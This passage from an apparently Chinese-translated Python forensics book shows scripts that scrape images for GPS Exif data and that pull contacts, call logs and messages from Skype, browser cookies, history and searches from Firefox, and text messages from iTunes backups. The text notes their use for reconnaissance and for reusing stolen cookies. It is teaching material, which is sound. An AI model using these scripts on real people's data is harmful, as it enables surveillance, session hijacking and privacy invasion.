imgFile.close() return imgFileName except: return '' 使用 Python 的图像库从图像阅读 Exif 元数据 为了测试图像的内容特到 Exif 元数据,我们将使用 Python 图像库 PIL 来处理文 件,可以从 http://www.pythonware.com/products/pil/获得,以增加 Python 的 图像处理能力,并允许我们快速的提取与地理位置相关的元数据信息。为了测 试文件元数据,我们将打开的对象作为 PIL 图像对象并使用函数 getexif()。接 下来我们解析 Exif 数据到一个数组,通过元数据类型索引。数组完成后,我们 可以搜索数组看看它是否包含有 GPSInfo 的 Exif 参数。如果它包含 GPSInfo 参 数,我们就知道对象包含 GPS 元数据并打印信息到屏幕上。 from PIL import Image from PIL.ExifTags import TAGS def testForExif(imgFileName): try: exifData = {} imgFile = Image.open(imgFileName) info = imgFile._getexif() if info: for (tag, value) in info.items(): decoded = TAGS.get(tag, tag) exifData[decoded] = value exifGPS = exifData['GPSInfo'] if exifGPS: print('[*] ' + imgFileName + ' contains GPS MetaData') except: Pass 将所有的包装在一起,我们的脚本现在可以连接到一个 URL 地址,解析并下载 所有的图像文件,然后测试每个文件的 Exif 元数据。注意 main()函数中,我们 首先获取站点上的所有图像的列表,然后对数组中的每一个图像,我们将下载 图像并测试它的 GPS 元数据。 # coding=UTF-8 import urllib2 import optparse from bs4 import BeautifulSoup from urlparse import urlsplit from os.path import basename from PIL import Image from PIL.ExifTags import TAGS def findImages(url): print('[+] Finding images on ' + url) urlContent = urllib2.urlopen(url).read() soup = BeautifulSoup(urlContent) imgTags = soup.findAll('img') return imgTags def downloadImage(imgTag): try: print('[+] Dowloading image...') imgSrc = imgTag['src'] imgContent = urllib2.urlopen(imgSrc).read() imgFileName = basename(urlsplit(imgSrc)[2]) imgFile = open(imgFileName, 'wb') imgFile.write(imgContent) imgFile.close() return imgFileName except: return '' def testForExif(imgFileName): try: exifData = {} imgFile = Image.open(imgFileName) info = imgFile._getexif() if info: for (tag, value) in info.items(): decoded = TAGS.get(tag, tag) exifData[decoded] = value exifGPS = exifData['GPSInfo'] if exifGPS: print('[*] ' + imgFileName + ' contains GPS MetaData') except: pass def main(): parser = optparse.OptionParser('usage%prog -u ') parser.add_option('-u', dest='url', type='string', help='specify url address') (options, args) = parser.parse_args() url = options.url if url == None: print(parser.usage) exit(0) else: imgTags = findImages(url) for imgTag in imgTags: imgFileName = downloadImage(imgTag) testForExif(imgFileName) if __name__ == '__main__': main() 对目标地址测试刚刚生成的脚本,我们可以看到其中一个图像包含 GPS 元数据 信息。这个能用于对个人目标的进攻侦查,我们也可以使用此脚本来确认我们 自己的漏洞,在黑客攻击前。 forensics: # python exifFetch.py -u http://www.flickr.com/photos/dvids/4999001925/sizes/o [+] Finding images on http://www.flickr.com/photos/dvids/4999001925/sizes/o [+] Dowloading image... [+] Dowloading image... [+] Dowloading image... [*] 4999001925_ab6da92710_o.jpg contains GPS MetaData [+] Dowloading image... [+] Dowloading image... [+] Dowloading image... 用 Python 调查应用程序结构 这一节我们将讨论应用程序结构,即两个流行的应用程序存储在 SQLite 数据库 中的数据。SQLite 数据库在几个不同的应用程序中是很流行的选择,对于 local/client 存储类型来说。尤其是 WEB 浏览器,因为与编程语言不相关绑定。 与其相对应的 client/server 关系数据库,SQLite 数据库存储整个数据库在主机 上作为单个文件。最初由 Dr. Richard Hipp 在美国海军工作时创立,SQLite 数 据库在许多流行的应用程序中的使用不断的增长。被 Apple,Mozilla, Google,McAfee,MicrosoftMircso,Intuit,通用电气,DropBox, AdobeAdro 甚至是 Airbus 等公司内建到应用程序中使用 SQLite 数据库格式。 了解如何解析 SQLite 数据库并在法庭调查取证中使用 Python 自动处理是非常 有用的。下一节的开始,我们将利用流行的语音聊天客户端 Skype 来审查 SQLite 数据库。 了解 Skype SQLite3 数据库 作为 4.0 版本,流行的聊天工具 Skype 改变了它的内部数据库格式,使用 SQLite 格式。在 Windows 系统中,Skype 存储了的一个名叫 main.db 的数据库 在路径 C:\Documents and Settings\\ApplicationData\Skype\目录下,在 MAC OS X 系统中,相同的数据库放在 /Users//Library/Application\ Support/Skype/目录下。 但是 Skype 存储了什么在该数据库中?为了更好的了解 Skype SQLite 数据库信 息的模式,让我们使用 sqlite3 命令行工具快速的连接到数据库。连接后,我们 执行命令: SELECT tbl_name FROM sqlite_master WHERE type==”table”; SQLite 数据库维护了一个表名为 sqlite _master,这个表包含了列名为 tbl_name,用来描述数据库中的每一个表。执行这句 SELECT 语句允许我们查 看 Skype 的 main.db 数据库中的表。我们可以看到,该数据库保存的表包含电 话,账户,消息甚至是 SMS 消息的信息。 investigator$ sqlite3 main.db SQLite version 3.7.9 2011-11-01 00:52:41 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> SELECT tbl_name FROM sqlite_master WHERE type=="table"; DbMeta Contacts LegacyMessages Calls Accounts Transfers Voicemails Chats Messages ContactGroups Videos SMSes CallMembers ChatMembers Alerts Conversations Participants 账户表使用 Skype 应用程序账户的信息。它包含的列包括用户的名字, Skype 的简介名称,用户的位置,账户的创建日期等信息。为了查询这些信息, 我们可以创建一个 SQL 语句选择这些列。注意,数据库存储在 UNIX 时间日期 要求转化为更友好的格式。UNIX 时间日期提供了一个简单的测量时间方式。它 将日期简单的记录为自 1970 年 1 月 1 日来的秒数的整数值。SQL 函数 datatime()可以将这种值转化为易懂的格式。 sqlite> SELECT fullname, skypename, city, country, datetime(profile_ timestamp,'unixepoch') FROM accounts; TJ OConnor||New York|us|22010-01-17 16:28:18 使用 Python 的 Sqlite3 自动完成 Skype 数据库查询 连接数据库并执行一个 SELECT 语句很容易,我们希望能够自动的处理数据库 中几个不同的表和列中的额外的信息。让我们利用 sqlite3 库来编写一个小的 Python 程序来完成这些。注意我们的函数 printProfile(),它创建一个到 main.db 数据库的连接,创建一个连接之后,它需要一个光标提示然后执行我 们先前的 SELECT 语句,SELECT 语句的结果返回一个包含数组的数组。对于每 个返回的结果,它包含用户,Skype 用户名,位置和介绍数据的索引列。我们 解释这些结果,然后漂亮的打印他们到屏幕上。 # coding=UTF-8 import sqlite3 def printProfile(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;") for row in c: print('[*] -- Found Account --') print('[+] User: '+str(row[0])) print('[+] Skype Username: '+str(row[1])) print('[+] Location: '+str(row[2])+','+str(row[3])) print('[+] Profile Date: '+str(row[4])) def main(): skypeDB = "main.db" printProfile(skypeDB) if __name__ == "__main__": main() 运行我们的脚本,我们看到,Skype 的 main.db 数据库包含了一个用户账户, 处于隐私的问题,我们用代替真正的用户名。 investigator$ python printProfile.py [*] -- Found Account -- [+] User : TJ OConnor [+] Skype Username : [+] Location : New York, NY,us [+] Profile Date : 2010-01-17 16:28:18 让我们通过检查存储的联系人地址进一步调查 Skype 的数据库。注意,联系表 存储信息如显示名,Skype 用户名,位置,移动电话,甚至是生日等每一个联 系都存储在数据库中。所有这些个人信息当我们调查或者是攻击一个目标时都 是有用的,所以我们将信息收集起来。让我们输出 SELECT 语句返回的信息, 注意几个字段,比如生日可能是 null,在这种情况下,我们利用条件语句只打 印不等于空的结果。 def printContacts(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT displayname, skypename, city, country, phone_mobile, birthday FROM Contacts;") for row in c: print('\n[*] -- Found Contact --') print('[+] User : ' + str(row[0])) print('[+] Skype Username : ' + str(row[1])) if str(row[2]) != '' and str(row[2]) != 'None': print('[+] Location : ' + str(row[2]) + ',' + str(row[3])) if str(row[4]) != 'None': print('[+] Mobile Number : ' + str(row[4])) if str(row[5]) != 'None': print('[+] Birthday : ' + str(row[5])) 直到现在我们只是从特定的表中提取特定的列检查。然而,当我们想将两个表 中的信息一起输出怎么办?在这种情况下,我们不得不将唯一标识结果的值加 入数据库表中。为了说明这一点,我们来探究如何输出存储在 Skype 数据库中 的通话记录。为了输出详细的 Skype 通话记录,我们需要同时使用通话表和联 系表。通话表维护着通话的时间戳和和每个通话的唯一索引字段名为 conv_dbid。联系表维护了通话者的身份和每一个电话的 ID 列明为 id。因此, 为了连接两个表我们需要查询的 SELECT 语句有田条件语句 WHERE calls.conv_dbid = conversations.id 来确认。这条语句的结果返回包含所有存储 在 Skype 数据库中的 Skype 的通话记录时间和身份。 def printCallLog(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;") print('\n[*] -- Found Calls --') for row in c: print('[+] Time: '+str(row[0]) + ' | Partner: ' + str(row[1])) 让我们添加最后一个函数来完成我们的脚本。证据丰富,Skype 数据库实际默 认包含了所有用户发送和接受的信息。存储这些信息的为 Message 表。从这个 表,我们将执行 SELECT the timestamp, dialog_partner, author, and body_xml (raw text of the message)语句。注意,如果作者来子不同的 dialog_partner, 数据库的拥有者发送初始化信息到 dialog_partner。否则,如果作者和 dialog_partner 相同,dialog_partner 初始化这些信息,我们将从 dialog_partner 打印。 def printMessages(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT datetime(timestamp,'unixepoch'), dialog_partner, author, body_xml FROM Messages;") print('\n[*] -- Found Messages --') for row in c: try: if 'partlist' not in str(row[3]): if str(row[1]) != str(row[2]): msgDirection = 'To ' + str(row[1]) + ': ' else: msgDirection = 'From ' + str(row[2]) + ': ' print('Time: ' + str(row[0]) + ' ' + msgDirection + str(row[3])) except: pass 将所有的包装在一起,我们有一个非常强的脚本来检查 Skype 资料数据库。我 们的脚本可以打印配置文件信息,联系人地址,通话记录甚至是存储在数据库 中的消息。我们可以在 main()函数中添加一些选项解析,利用 OS 模块的功能 确保在调查数据库时执行每个函数之前配置文件存在。 # coding=UTF-8 import sqlite3 import optparse import os def printProfile(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;") for row in c: print('[*] -- Found Account --') print('[+] User: '+str(row[0])) print('[+] Skype Username: '+str(row[1])) print('[+] Location: '+str(row[2])+','+str(row[3])) print('[+] Profile Date: '+str(row[4])) def printContacts(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT displayname, skypename, city, country, phone_mobile, birthday FROM Contacts;") for row in c: print('\n[*] -- Found Contact --') print('[+] User : ' + str(row[0])) print('[+] Skype Username : ' + str(row[1])) if str(row[2]) != '' and str(row[2]) != 'None': print('[+] Location : ' + str(row[2]) + ',' + str(row[3])) if str(row[4]) != 'None': print('[+] Mobile Number : ' + str(row[4])) if str(row[5]) != 'None': print('[+] Birthday : ' + str(row[5])) def printCallLog(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;") print('\n[*] -- Found Calls --') for row in c: print('[+] Time: '+str(row[0]) + ' | Partner: ' + str(row[1])) def printMessages(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT datetime(timestamp,'unixepoch'), dialog_partner, author, body_xml FROM Messages;") print('\n[*] -- Found Messages --') for row in c: try: if 'partlist' not in str(row[3]): if str(row[1]) != str(row[2]): msgDirection = 'To ' + str(row[1]) + ': ' else: msgDirection = 'From ' + str(row[2]) + ': ' print('Time: ' + str(row[0]) + ' ' + msgDirection + str(row[3])) except: pass def main(): parser = optparse.OptionParser("usage%prog -p ") parser.add_option('-p', dest='pathName', type='string', help='specify skype profile path') (options, args) = parser.parse_args() pathName = options.pathName if pathName == None: print parser.usage exit(0) elif os.path.isdir(pathName) == False: print '[!] Path Does Not Exist: ' + pathName exit(0) else: skypeDB = os.path.join(pathName, 'main.db') if os.path.isfile(skypeDB): printProfile(skypeDB) printContacts(skypeDB) printCallLog(skypeDB) printMessages(skypeDB) else: print '[!] Skype Database does not exist: ' + skypeDB if __name__ == "__main__": main() 运行该脚本,我们添加一个-p 选项来确定 Skype 配置数据库路径。脚本打印出 存储在目标机器上的账户配置,联系人,电话和消息。成功!在下一节中,我 们将用我们的 sqlite3 的知识来调查流行的火狐浏览器存储的结构。 investigator$ python skype-parse.py -p /root/.Skype/not.myaccount [*] -- Found Account -- [+] User : TJ OConnor [+] Skype Username : [+] Location : New York, US [+] Profile Date : 2010-01-17 16:28:18 [*] -- Found Contact -- [+] User : Some User [+] Skype Username : some.user [+] Location [+] Mobile Number [+] Birthday : Basking Ridge, NJ,us : +19085555555 : 19750101 [*] -- Found Calls -- [+] Time: 2011-12-04 15:45:20 | Partner: +18005233273 [+] Time: 2011-12-04 15:48:23 | Partner: +18005210810 [+] Time: 2011-12-04 15:48:39 | Partner: +18004284322 [*] -- Found Messages -- Time: 2011-12-02 00:13:45 From some.user: Have you made plane reservations yets? Time: 2011-12-02 00:14:00 To some.user: Working on it... Time: 2011-12-19 16:39:44 To some.user: Continental does not have any flights available tonight. Time: 2012-01-10 18:01:39 From some.user: Try United or US Airways, they should fly into Jersey. 其他有用的 Skype 查询 如果有兴趣的话可以花时间更深入的调查 Skype 数据库,编写新的脚本。考虑 以下可能会用到的其他查询: 想只打印出联系人列表中的联系人生日? SELECT fullname, birthday FROM contacts WHERE birthday > 0; 想打印只有特定的联系人记录? SELECT datetime(timestamp,’unixepoch’), dialog_partner, author, body_xml FROM Messages WHERE dialog_partner = ‘’ 想删除特定的联系记录? DELETE FROM messages WHERE skypename = ‘’ 用 Python 解析火狐 Sqlite3 数据库 在上一节中,我们研究了 Skype 存储的单一的应用数据库。该数据库提供了大 量的调查数据。在本节中,我们将探究火狐存储的是一系列的什么样的数据库。 火狐存储这些数据库的默认目录为 C:\Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\\, 在 Windows 系统下,在 MAC OS X 系统中存储在 /Users//Library/Application\ Support/Firefox/Profiles/目录下。让我们列出存储在目录中的数据库吧。 investigator$ ls *.sqlite places.sqlite downloads.sqlite search.sqlite addons.sqlite extensions.sqlite signons.sqlite chromeappsstore.sqlite formhistory.sqlite webappsstore.sqlite content-prefs.sqlite permissions.sqlite cookies.sqlite places.sqlite 检查目录列表,很明显火狐存储了相当丰富的数据。但是我们该从哪儿开始调 查?让我们从 downloads.sqlite 数据库开始调查。downloads.sqlite 文件存储了 火狐用户下载文件的信息。它包含了一个表明为 moz_downloads,用来存储文 件名,下载源,下载日期,文件大小,存储在本地的位置等信息。我们使用一 个 Python 脚本来执行 SELECT 语句来查询适当的列:名称,来源和日期时间。 注意火狐用的也是 UNIX 时间日期。但为了存储 UNIX 时间日期到数据库,它将 日期乘以 1000000 秒,因此我们正确的时间格式应该是除以 1000000 秒。 import sqlite3 def printDownloads(downloadDB): conn = sqlite3.connect(downloadDB) c = conn.cursor() c.execute('SELECT name, source, datetime(endTime/1000000, \'unixepoch\') FROM moz_downloads;') print '\n[*] --- Files Downloaded --- ' for row in c: print('[+] File: ' + str(row[0]) + ' from source: ' + str(row[1]) + ' at: ' + str(row[2])) 对 downloads.sqlite 文件运行脚本,我们看到,此配置文件包含了我们以前下 载文件的信息。事实上,我们是在前面学习元数据时下载的文件。 investigator$ python firefoxDownloads.py [*] --- Files Downloaded --- [+] File: ANONOPS_The_Press_Release.pdf from source: http://www.wired.com/images_blogs/threatlevel/2010/12/ANON OPS_The_ Press_Release.pdf at: 2011-12-14 05:54:31 好极了!我们现在知道什么时候用户使用火狐下载过什么文件。然而,如果调查 者想使用用户的认证重新登陆到网站该怎么办?例如,警方调查员确认用户从 基于邮件的网站上下载了对儿童有害的图片该怎么办?警方调查员想重新登陆 到网站,最有可能的是缺少密码或者是用户认证的电子邮件。进入 cookies,由 于 HTTP 西意缺乏状态设计,网站利用 cookies 来维护状态。 考虑一下,例如,当用户登陆到站点,如果浏览器不能维护 cookies,用户需要 登陆能阅读每一个人的私人邮件。火狐存储了这些 cookies 在 cookies. sqlite 数 据库中。如调查员可以提取 cookies 并重用,就提供了需要认证才能登陆到资 源的条件。 让我们快速编写一个 Python 脚本提取用户的 cookies。我们连接到数据库并执 行我们的 SELECT 语句。在数据库中,moz_cookies 维护这 cookies,从 cookies.sqlite 数据库中的 moz_cookies 表中,我们将查询主机,名称, cookies 的值,并在屏幕中打印出来。 def printCookies(cookiesDB): try: conn = sqlite3.connect(cookiesDB) c = conn.cursor() c.execute('SELECT host, name, value FROM moz_cookies') print('\n[*] -- Found Cookies --') for row in c: host = str(row[0]) name = str(row[1]) value = str(row[2]) print('[+] Host: ' + host + ', Cookie: ' + name + ', Value: ' + value) except Exception as e: if 'encrypted' in str(e): print('\n[*] Error reading your cookies database.') print('[*] Upgrade your Python-Sqlite3 Library') 更新 sqlite3 你可能会注意到如果你尝试用默认的 sqlite3 打开 cookies.sqlite 数据库会报告 文件被加密或者是这不是一个数据库。默认安装的 Sqlite3 的版本是 Sqlite3.6.22 不支持 WAL 日志模式。最新版本的火狐使用 PRAGMA journal_mode=WAL 模式在 cookies.sqlite 和 places.sqlite 数据库中。试图用旧 版本的 Sqlite3 或者是 sqlite3 模块会报错。 SQLite version 3.6.22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> select * from moz_cookies; Error: file is encrypted or is not a database After upgrading your Sqlite3 binary and Pyton-Sqlite3 libraries to a version > 3.7, you should be able to open the newer Firefox databases. investigator:∼# sqlite3.7 ∼/.mozilla/firefox/nq474mcm.default/ cookies.sqlite SQLite version 3.7.13 2012-06-11 02:05:22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> select * from moz_cookies; 1|backtrack-linux.org|__<..SNIPPED..> 4|sourceforge.net|sf_mirror_attempt|<..SNIPPED..> To avoid our script crashing on this unhandled error, with the cookies.sqlite and places.sqlite databases, we put exceptions to catch the encrypted database error message. To avoid receiving this error, upgrade your Python-Sqlite3 library or use the older Firefox cookies.sqlite and places.sqlite databases included on the companion Web site. 为了避免我们的脚本在这个错误上崩溃,我们将 cookies.sqlite 和 places.sqlite 数据库放在异常处理中。为了避免这个错误,升级你的 Python- sqlite3 库或使用旧版本的火狐。 调查者可能也希望列举浏览历史,火狐存储这些数据在 places.sqlite 数据库中。 在这里,moz_places 表给我们提供了宝贵的列,包含了什么时候用户访问了什 么网站的信息。而我们的脚本 printHistory()函数只考虑到 moz_places 表,而 维基百科推荐使用 moz_places 表和 moz_historyvisits 表得到浏览器历史。 def printHistory(placesDB): try: conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;") print('\n[*] -- Found History --') for row in c: url = str(row[0]) date = str(row[1]) print '[+] ' + date + ' - Visited: ' + url except Exception as e: if 'encrypted' in str(e): print('\n[*] Error reading your places database.') print('[*] Upgrade your Python-Sqlite3 Library') exit(0) 让我们使用最后的知识和先前的正则表达式的知识扩展我们的函数。浏览历史 及其有价值,对深入了解一些特定的 URL 很有用。Google 搜索查询包含搜索 URL 内部的权限,比如说,在无线的章节里,我们将就此展开深入。然而,现 在让我们只提取搜索条件 URL 右边的条目。如果在我们的历史里发现包含 Google,我们发现他的特点 q=后面跟随者&。这个特定的字符序列标识 Google 搜索。如果我们真的找到这个条目,我们将通过用空格替换一些 URL 中 用的字符来清理输出。最后,我们将打印校正后的输出到屏幕上,现在我们有 一个函数可以搜索 places.sqlite 文件并打印 Google 搜索查询历史。 import sqlite3, re def printGoogle(placesDB): conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;") print('\n[*] -- Found Google --') for row in c: url = str(row[0]) date = str(row[1]) if 'google' in url.lower(): r = re.findall(r'q=.*\&', url) if r: search=r[0].split('&')[0] search=search.replace('q=', '').replace('+', ' ') print('[+] '+date+' - Searched For: ' + search) 将所有的包装在一起,我们现在有下载文件信息,读取 cookies 和浏览历史, 甚至是用户的 Google 的搜索历史功能。该选项的解析应该看看前面非常相似的 Skype 数据库的探究。 你可能注意到使用 os.join.path 函数来创建完整的路径会问为什么不是只添加 路径和文件的字符串值在一起。是什么让我们不这样使用让我们来看一个例子: downloadDB = pathName + “\\downloads.sqlite”替换 downloadDB = os.path.join(pathName,“downloads.sqlite”) 考虑一下,Windows 用户使用 C:\Users\\来表示路径,而 Linux 和 Mac OS 使用/home//来表示用户路径,不同的操作系统 中,斜杠表示的意义不一样,这点当我们创建文件的完整路径时不得不考虑。 OS 库允许我们创建一个独立于操作系统都能工作的脚本。 # coding=UTF-8 import sqlite3 import re import optparse import os def printDownloads(downloadDB): conn = sqlite3.connect(downloadDB) c = conn.cursor() c.execute('SELECT name, source, datetime(endTime/1000000, \'unixepoch\') FROM moz_downloads;') print '\n[*] --- Files Downloaded --- ' for row in c: print('[+] File: ' + str(row[0]) + ' from source: ' + str(row[1]) + ' at: ' + str(row[2])) def printCookies(cookiesDB): try: conn = sqlite3.connect(cookiesDB) c = conn.cursor() c.execute('SELECT host, name, value FROM moz_cookies') print('\n[*] -- Found Cookies --') for row in c: host = str(row[0]) name = str(row[1]) value = str(row[2]) print('[+] Host: ' + host + ', Cookie: ' + name + ', Value: ' + value) except Exception as e: if 'encrypted' in str(e): print('\n[*] Error reading your cookies database.') print('[*] Upgrade your Python-Sqlite3 Library') def printHistory(placesDB): try: conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;") print('\n[*] -- Found History --') for row in c: url = str(row[0]) date = str(row[1]) print '[+] ' + date + ' - Visited: ' + url except Exception as e: if 'encrypted' in str(e): print('\n[*] Error reading your places database.') print('[*] Upgrade your Python-Sqlite3 Library') exit(0) def printGoogle(placesDB): conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;") print('\n[*] -- Found Google --') for row in c: url = str(row[0]) date = str(row[1]) if 'google' in url.lower(): r = re.findall(r'q=.*\&', url) if r: search=r[0].split('&')[0] search=search.replace('q=', '').replace('+', ' ') print('[+] '+date+' - Searched For: ' + search) def main(): parser = optparse.OptionParser("usage%prog -p ") parser.add_option('-p', dest='pathName', type='string', help='specify skype profile path') (options, args) = parser.parse_args() pathName = options.pathName if pathName == None: print(parser.usage) exit(0) elif os.path.isdir(pathName) == False: print('[!] Path Does Not Exist: ' + pathName) exit(0) else: downloadDB = os.path.join(pathName, 'downloads.sqlite') if os.path.isfile(downloadDB): printDownloads(downloadDB) else: print('[!] Downloads Db does not exist: '+downloadDB) cookiesDB = os.path.join(pathName, 'cookies.sqlite') if os.path.isfile(cookiesDB): printCookies(cookiesDB) else: print('[!] Cookies Db does not exist:' + cookiesDB) placesDB = os.path.join(pathName, 'places.sqlite') if os.path.isfile(placesDB): printHistory(placesDB) printGoogle(placesDB) else: print('[!] PlacesDb does not exist: ' + placesDB) if __name__ == "__main__": main() 运行我们的脚本调查火狐用户的配置文件,我们可以看到这些结果。在下一节 中,我们将使用部分我们前面学到的技巧,但是通过在数据库的干草堆中搜索 一根针来扩展我们的 SQLite 知识。 investigator$ python parse-firefox.py -p ∼/Library/Application\ Support/Firefox/Profiles/5ab3jj51.default/ [*] --- Files Downloaded --- [+] File: ANONOPS_The_Press_Release.pdf from source: http://www.wired.com/images_blogs/threatlevel/2010/12/ANON OPS_The_ Press_Release.pdf at: 2011-12-14 05:54:31 [*] -- Found Cookies -- [+] Host: .mozilla.org, Cookie: wtspl, Value: 894880 [+] Host: www.webassessor.com, Cookie: __utma, Value: 1.224660440401.13211820353.1352185053.131218016553.1 [*] -- Found History -- [+] 2011-11-20 16:28:15 - Visited: http://www.mozilla.com/en- US/ firefox/8.0/firstrun/ [+] 2011-11-20 16:28:16 - Visited: http://www.mozilla.org/en-US/ firefox/8.0/firstrun/ [*] -- Found Google -- [+] 2011-12-14 05:33:57 - Searched For: The meaning of life? [+] 2011-12-14 05:52:40 - Searched For: Pterodactyl [+] 2011-12-14 05:59:50 - Searched For: How did Lost end? 用 Python 调查移动设备的 iTunes 备份 在 2011 年 4 月,安全研究人员和前苹果员工公开了 iPhone 和 Ipad IOS 操作 系统的一个隐私问题。一个重要的调查之后发现 IOS 系统事实上跟踪和记录设 备的 GPS 坐标并存储在手机的 consolidated.db 数据库中。在这个数据库中一 个名为 Cell-Location 的表包含了收集的手机的 GPS 坐标。该设备通过综合了最 近的手机信号发射塔来确定定位信息为用户提供更好的服务。然而,安全人员 提出,该收据可能会被恶意的使用,用来跟踪 iPhone/Ipad 用户的完整活动路 线。此外,使用备份和存储移动设备的信息到电脑上也记录了这些信息。虽然 定位记录信息已经从苹果系统中移出了,但发现数据的过程任然还在。在本节 中,我们将重复这一过程,从 iPhone 设备中提取备份信息。具体来说,我们将 使用 Python 脚本从 IOS 备份中提取所有的文本消息。 当用户对 iPhone 或者 iPad 设备进行备份时,它将文件存储到机器的特殊目录。 对于 Windows 系统,iTunes 程序存储移动设备备份目录在 C:\Documents and Settings\\Application Data\AppleComputer\MobileSync\Backup 下,在 Mac OS X 系统上储存目录在 /Users//Library/Application Support/MobileSync/Backup/。 iTunes 程序备份移动设备存储所有的移动设备到这些目录下。让我们来探究我 的 iPhone 最近的备份文件。 investigator$ ls 68b16471ed678a3a470949963678d47b7a415be3 68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f 68b16471ed678a3a470949963678d47b7a415be3 68d321993fe03f7fe6754f5f4ba15a9893fe38db 69005cb27b4af77b149382d1669ee34b30780c99 693a31889800047f02c64b0a744e68d2a2cff267 6957b494a71f191934601d08ea579b889f417af9 698b7961028238a63d02592940088f232d23267e 6a2330120539895328d6e84d5575cf44a082c62d <..SNIPPED..> 为了获得关于每个文件更多的信息,我们将使用 UNIX 命令 file 来提取每个文件 的文件类型。这个命令使用文件头的字节信息类确认文件类型。这为我们提供 了更多的信息,我们看到移动备份目录包含了一些 sqlite3 数据库,JPEG 图像, 原始数据和 ASCII 文本文件。 investigator$ file * 68b16471ed678a3a470949963678d47b7a415be3: data 68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f: SQLite 3.x database 68b16471ed678a3a470949963678d47b7a415be3: JPEG image data 68d321993fe03f7fe6754f5f4ba15a9893fe38db: JPEG image data 69005cb27b4af77b149382d1669ee34b30780c99: JPEG image data 693a31889800047f02c64b0a744e68d2a2cff267: SQLite 3.x database 6957b494a71f191934601d08ea579b889f417af9: SQLite 3.x database 698b7961028238a63d02592940088f232d23267e: JPEG image data 6a2330120539895328d6e84d5575cf44a082c62d: ASCII English text <..SNIPPED..> file 命令让我们知道一些文件包含 SQLite 数据库并对灭个数据库的内容有少量 的描述。我们将使用 Python 脚本快速的快速的枚举在移动备份目录下找到的每 一个数据库的所有的表。注意我们将再次在我们的 Python 脚本中使用 sqlite3。我们的脚本列出工作目录的内容然后尝试连接每一个数据库。对于那 些成功的连接,脚本将执行命令:SELECT tbl_name FROM sqlite_master WHERE type==‘table’。,每一个 SQLite 数据库维护了一个 sqlite_master 的表包含了数据库的总体结构,说明了数据库的总体架构。上面 的命令允许我们列举数据库模式。 import os import sqlite3 def printTables(iphoneDB): try: conn = sqlite3.connect(iphoneDB) c = conn.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\"table\";') print("\n[*] Database: "+iphoneDB) for row in c: print("[-] Table: "+str(row)) except: pass finally: conn.close() dirList = os.listdir(os.getcwd()) for fileName in dirList: printTables(fileName) 运行我们的脚本,我们列举了移动备份目录里的所有的数据库模式。当脚本找 到多个数据库,我们将整理输出我们关心的特定的数据库。注意文件名为 d0d7e5fb2ce288813306e4d4636395e047a3d28 包含了一个 SQLite 数据库里面 有一个名为 messages 的表。该数据库包含了存储在 iPhone 备份中的文本消息 列表。 investigator$ python listTables.py <..SNIPPED...> [*] Database: 3939d33868ebfe3743089954bf0e7f3a3a1604fd [-] Table: (u'ItemTable',) [*] Database: d0d7e5fb2ce288813306e4d4636395e047a3d28 [-] Table: (u'_SqliteDatabaseProperties',) [-] Table: (u'message',) [-] Table: (u'sqlite_sequence',) [-] Table: (u'msg_group',) [-] Table: (u'group_member',) [-] Table: (u'msg_pieces',) [-] Table: (u'madrid_attachment',) [-] Table: (u'madrid_chat',) [*] Database: 3de971e20008baa84ec3b2e70fc171ca24eb4f58 [-] Table: (u'ZFILE',) [-] Table: (u'Z_1LABELS',) <..SNIPPED..> 虽然现在我们知道 SQLite 数据库文件 d0d7e5fb2ce288813306e4d4636395e047a3d28 包含了文本消息,我们想要能 够自动的对不同的备份进行调查。为了执行这个,我们编写了一个简单的函数 名为 isMessageTable(),这个函数将连接数据库并枚举数据库模式信息。如果 文件包含名为 messages 的表,则返回 True,否则函数返回 False。现在我们有 能力快速扫描目录下的上千个文件并确认包含 messages 表的特定数据库。 def isMessageTable(iphoneDB): try: conn = sqlite3.connect(iphoneDB) c = conn.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\"table\";') for row in c: if 'message' in str(row): return True except: return False 现在,我们可以定位文本消息数据库了,我们希望可以打印包含在数据库中的 内容,如时间,地址,文本消息。为此,我们连接数据库并执行以下命令: ‘select datetime(date,\‘unixepoch\’), address, text from message WHERE address>0;’我们可以打印查询结果到屏幕上。注意,我们将使用一些异常处 理,如果 isMessageTable()返回的数据库不是我们需要的文本信息数据库,它 将不包含数据,地址,和文本的列。如果我们去错了数据库,我们将允许脚本 捕获异常并继续执行,直到找到正确的数据库。 def printMessage(msgDB): try: conn = sqlite3.connect(msgDB) c = conn.cursor() c.execute('select datetime(date,\'unixepoch\'),address, text from 